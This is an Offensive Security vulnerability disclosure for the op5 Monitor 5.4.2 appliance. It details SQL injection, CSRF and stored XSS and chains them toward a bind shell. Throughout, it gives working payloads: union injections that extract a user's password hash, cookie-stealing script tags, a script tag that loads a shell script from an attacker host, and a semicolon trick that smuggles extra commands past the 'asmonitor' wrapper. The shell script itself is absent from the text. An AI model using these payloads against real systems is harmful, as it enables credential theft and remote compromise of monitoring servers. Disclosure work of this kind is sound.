# Author: loneferret of Offensive Security# Product: op5 Monitoring (VM appliance)# Version: 5.4.2# Vendor Site: http://www.op5.com/# Software Download: http://www.op5.com/get-op5-monitor/get-started/# Software Description:# op5 is a market leading developer of Open Source Management solutions. # op5 develops and delivers enterprise-class software for monitoring and administration # of the whole IT, from hardware and software all the way to virtual or cloud based services. # The solutions comes in a fully supported package called op5 Monitor. The architecture # supports scalability from the small and business critical IT to the very large IT with # tens of thousands of actively controlled services.# Vulnerabilities:# SQL Injection# Cross Site Request Forgery# Stored XSS# Description path to Shell:# Several vulnerabilities are present in this software. All of which need different # levels of authentication. SQLi, CSRF and Stored XSS are present and can be # triggered giving variant degrees of results. From interesting to just plain annoying.## But most interesting is the admin's (or the default monitor user) ability to run# shell commands from the web-interface. Although these commands are limited, it is# still possible to get a shell providing some conditions are met.## As all of the vulnerabilities are post-authentication, it assumes the attacker is# a user with access to the web application. In this case, a low-privilege user is enough to # get the ball rolling in getting a shell. With enough access our "disgruntled employee"# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to # setup a Bind-Shell.# SQLi PoC 1:# Minimum Access Rights needed: authorized_for_all_hosts# Page: /index.php/status/hostgroup_grid?items_per_page=# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0# Injection point: select * from hostgroup limit 0 union <HERE> offset 0# Payload: 0' union select 1,2,3,4,5,6,7--# Get password hash for user with '1' (usually monitor)# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--# mysql> describe users;# +---------------+------------------+------+-----+----------+----------------+# | Field | Type | Null | Key | Default| Extra|# +---------------+------------------+------+-----+----------+----------------+# | id| int(11) unsigned | NO | PRI | NULL | auto_increment | # | realname| varchar(100) | NO | | NULL || # | email | varchar(127) | NO | | NULL || # | username| varchar(100) | NO | UNI ||| # | password_algo | varchar(20)| NO | | b64_sha1 || # | password| varchar(50)| NO | | NULL || # | logins| int(10) unsigned | NO | | 0|| # | last_login| int(10) unsigned | YES| | NULL || # +---------------+------------------+------+-----+----------+----------------+# SQLi PoC 2:# Page: all?items_per_page=# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--# Stored XSS PoC:# Minimum Access Rights needed: authorized_for_all_hosts# authorized_for_all_host_commands# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT# In the Comment input field# Payload: <script>alert(document.cookie);</script># <iframe src="http://something.html></iframe># <script src="http://attacker/xss.js></script>## Setup for shell# With some explanations...# Step 1: XSS# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script> # Step 2: Create JavaScript file to download shell file.# op5-shell.js File#

Once the administrator looks at the comment page associated with# the machine the XSS is triggered and things happen. The fun part is, even if the comment# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is# triggered once again. It's actually a pain to get rid of once it's there.## Shell commands from the Web-Interface:# These are very limited in regards of rights and privileges. The commands aren't run# directly froma command shell but rather using a small complied script call "asmonitor".# All the commands, from a shell's standpoint, are run with the "monitor" user.# bash-3.2$ /usr/bin/asmonitor # usage: asmonitor arg1 arg2 arg3 argn...# Chaining multiple commands is not permitted and only the first command will succeed # with the second one failing. Also commands requiring multiple parameters, such# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces# between them.# One way to circumvent this limitation of multiple commands is with the " ; " character.# Example, "ifconfig ifconfig" will not work, with only the first "ifconfig" to successfully# execute. Placing "ifconfig;ifconfig" in the web-interfaces's input box will result in# both commands executing. This leads us to deduce the second 'ifconfig' is not running# in a jailed environment. Providing us with a greater arsenal of commands available to us.## Unfortunately due to rights restriction, we can't just download a file directly to our webroot.# We do have a few rights in the /tmp folder. Unfortunately we can't just download a file# file there either.
